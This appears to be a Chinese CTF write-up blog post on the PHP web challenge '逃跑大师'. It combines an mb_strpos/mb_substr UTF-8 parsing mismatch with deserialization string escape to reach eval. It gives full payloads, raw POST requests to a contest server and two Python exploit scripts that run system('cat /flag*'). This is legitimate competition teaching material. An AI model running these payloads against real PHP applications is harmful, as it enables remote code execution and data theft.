Web-逃跑大师--第二届黄河流域公安院校网络空间安全技能邀请赛

一、题目
题目:逃跑大师
题目描述:
二、WriteUp
1. 分析php源码
<?php
highlight_file(__FILE__);
error_reporting(0);
# vuln函数
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}
class A{
    public $A;
    public $B = "HELLO";
    public $C = "!!!";
    public function __construct($A){ #类的构造函数,创建对象时触发
        $this->A = $A; #this代表当前对象,->A代表对象的A属性
    }
    public function __destruct(){ #类的析构函数,对象被销毁时触发
        #当一个对象不再被任何引用变量和程序上下文所持有时,PHP 垃圾回收机制会自动将其销毁并释放其占用的内存。
        $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
        # HELLO[welcome sdpcsec!!!]
        # $key=welcome sdpcsec!!!
        echo $key;
        eval($key);
    }
}
if(isset($_POST['escape'])) { //用于检查是否存在名为 'escape' 的键值对应的表单数据
    $Class = new A($_POST['escape']);#执行__construct函数,将$_POST['escape'] 的值用作参数
    $Key = serialize($Class); #序列化
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);#将"SDPCSEC"替换为"SanDieg0"
    unserialize($K);#反序列化后释放对象执行__destruct函数
}
else{
    echo "nonono";
}
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
    $haystack:要在其中搜索子字符串的源字符串。
    $needle:要搜索的子字符串。
    $offset(可选):从哪个位置开始搜索,默认为 0$encoding(可选):要使用的字符编码,默认为内部字符编码。

(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
    $string:要截取的原始字符串。
    $start:截取的起始位置。如果是负数,则表示从末尾开始计数。
    $length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
    $encoding(可选):要使用的字符编码,默认为内部字符编码。


当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41  上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动
3. mb_substr和mb_strpos函数漏洞与本题结合
通过控制C的长度可以控制我们想要执行$key的长度
通过控制B我们可以控制索引值需要提前几位
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
简化源代码 控制$B$C得到我们想要的$key
<?php
    error_reporting(0);
    function substrstr($data)
    {
        $start = mb_strpos($data, "[");#如果$data中包含%f0则会导致相对mb_substr $start索引值要大
        $end = mb_strpos($data, "]");
        return mb_substr($data, $start, $end + 1 - $start);
    }

    $B = "\xf0abc";
    $C = "1234567890";
    $key = substrstr($B . "[welcome sdpcsec" .$C . "]"); #截取的是[welcome sdpcsec]
    echo $key."\n"; #$key=lcome sdpcsec1234567890]
?>
可以看到
每发送一个\xf0abc就会向后3个字节截取
每发送一个\xf0\9fab就会向后2个字节截取
每发送一个\xf0\x9f\x9fa就会向后1个字节截取
[welcome sdpcsec的长度为16,则须发送3*5+1*1(当然还有其他组合方式,如2*8)$B = "\xf0abc\xf0abc\xf0abc\xf0abc\xf0abcd\xf0\x9f\x9fa";
这样$key的值即1234567890],这样可使$C为我们的执行代码
eval函数用于执行php代码,那么可以构造system函数然后使用//或#注释掉后面内容
那么 $C = "system(\"ls\");//"."]";
<?php
    error_reporting(0);
    $C = "system(\"calc.exe\");//"."]";
    eval($C);#eval("system("calc.exe");//]");
    $C = "system(\"calc.exe\");#"."]";
    eval($C);#eval("system("calc.exe");#]");
?>
4. 使用burpsuite发包
#这里使用GET方式改为POST方式时,需要添加Content-Type: application/x-www-form-urlencoded
这时候我们可以看到执行到了我们想要的执行结果
POST / HTTP/1.1
Host: 47.98.247.113:1111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

escape=1
5. 简化php源码 进行调试
#这里最好用phpstorm进行调试,由于无phpstorm环境,使用vscode手动调试
<?php
    function substrstr($data)
    {
        $start = mb_strpos($data, "[");
        $end = mb_strpos($data, "]");
        return mb_substr($data, $start, $end + 1 - $start);
    }

    class A{
        public $A;
        public $B = "HELLO";
        public $C = "!!!";
        public function __construct($A){ 
            $this->A = $A; 
        }
        public function __destruct(){ 
            #执行两次,使用了全局变量:如果在对象中使用了全局变量,当脚本结束时全局变量的生命周期结束,这也可能导致 __destruct 方法被调用多次
            echo "B:".$this->B."\n";
            echo "C:".$this->C."\n";
            $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
            echo $key;
            //eval($key);
        }
    }

    $escape = "123";
    $Class = new A($escape);
    $Key = serialize($Class); 
    echo $Key."\n";#O:1:"A":3:{s:1:"A";s:3:"123";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);#字符串逃逸点 7个字节会变为8个字节
    unserialize($K);
?>
O:1:"A":3:{s:1:"A";s:3:"123";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}

O:1:"A":3:{} 表示这是一个 PHP 对象(Object),其类名为 "A",包含 3 个属性。
#属性名+值
s:1:"A";s:3:"123"; 表示对象的第一个属性名为 "A",其值为字符串 "123"。
s:1:"B";s:5:"HELLO"; 表示对象的第二个属性名为 "B",其值为 "HELLO"。
s:1:"C";s:3:"!!!"; 表示对象的第三个属性名为 "C",其值为 "!!!"
反序列化的特点:
(1)反序列化以;}结束,其后的内容不影响正常的反序列化;
(2)属性值的内容是根据其前面代表字符串长度的整数判断的;
#序列化字节流其实是字符串,所以可以拼接进行改变

根据(1)可以让A的值中包含;}而让反序列化提前结束,并且输入自定义的B和C的序列化内容进而控制B和C
根据(2)通过字符串替换可以让A的值的长度变长,这样后面构造的B和C的序列化内容就可以正常被反序列化,进而达到可以控制B和C的内容

那么我们payload的构成就应该是
#O:1:"A":3:{s:1:"A";s:3:"
valueA";s:1:"B";s:5:"valueB";s:1:"C";s:3:"valueC";}
#其中valueA为若干个"SDPCSEC"组成,然后个数=len(payload)-len(valueA)
也就是";s:1:"B";s:5:"valueB";s:1:"C";s:3:"valueC";}的长度
6. 最终payload
valueA";s:1:"B";s:5:"\xf0abc\xf0abc\xf0abc\xf0abc\xf0abcd\xf0\x9f\x9fa";s:1:"C";s:3:"system(\"ls\");//]";}
7. exp
(1)官方wp
import os
import re
import requests

#URL编码 这里他是直接编码后从burpsuite中发送,所以要把空格url编码
def encode(string):
    encode_string = ""
    for char in string:
        encode_char = hex(ord(char)).replace("0x","%") 
        #ord()将一个字符(char)转换为对应的 Unicode 码点(整数)
        encode_string += encode_char
    return encode_string

#exp
def payload(cmd):
    key = encode(cmd)
    print("url加密:"+encode(cmd))
    s = len(cmd)
    payload1 = '";s:1:"B";s:29:"%f0abcd%f0abcd%f0abdc%f0abcd%f0abdc%f0%9f%9fa";s:1:"C";s:'+ str(s) + ':"' + cmd + '";}'
    payload2 = ""
    print(len(str(payload1)))
    print(len(payload1)-16)
    for i in range(len(payload1)-16):
        payload2 += 'SDPCSEC'
    payload2 = payload2 + payload1
    payload3 = str.replace(payload2, cmd, key)
    print("结果:"+payload3)

pay = "system('cat /f*');//"
exp=payload(pay)
POST / HTTP/1.1
Host: 47.98.247.113:1111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 735

escape=SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:29:"%f0abcd%f0abcd%f0abdc%f0abcd%f0abdc%f0%9f%9fa";s:1:"C";s:20:"%73%79%73%74%65%6d%28%27%63%61%74%20%2f%66%2a%27%29%3b%2f%2f";}
(2)自己的exp 官方wp太冗长
import requests

url="http://127.0.0.1:1111"

# 统一转换为字节流再进行拼接,不能字符串和字节流进行拼接,否则python会解析错误
value_B = b"\xf0abc\xf0abc\xf0abc\xf0abc\xf0abc\xf0\x9f\x9fa"
value_C = "system(\"cat /flag*\");//]"

payload_part1 =f'";s:1:"B";s:{len(value_B)}:"'.encode('utf-8')
payload_part2 = value_B
payload_part3 = f'";s:1:"C";s:{len(value_C)}:"{value_C}";}}'.encode('utf-8')
#在f-string中{{ 表示输出一个左大括号 {,}} 表示输出一个右大括号 }

value_A = ("SDPCSEC" * len(payload_part1 + payload_part2 + payload_part3)).encode('utf-8')
payload = value_A + payload_part1 + payload_part2 + payload_part3

data = {'escape': payload}
response = requests.post(url, data=data)
print(response.text)
三、总结
1. 参考链接
#Joomla:PHP Bug引入多个XSS漏洞
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
#php反序列化漏洞(万字详解)
https://blog.csdn.net/m0_73185293/article/details/131353031
2. tips
(1)python发送字节流又发送字符串时,应先把字符串转换为字节流再进行拼接,否则会报错。
(2)mb_substr和mb_strpos函数执行差异
(3)对序列化字符串进行filter、replace等操作,一般为反序列化字符串逃逸
(4)后期需要学习phpstorm+xdebug的调试方法
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值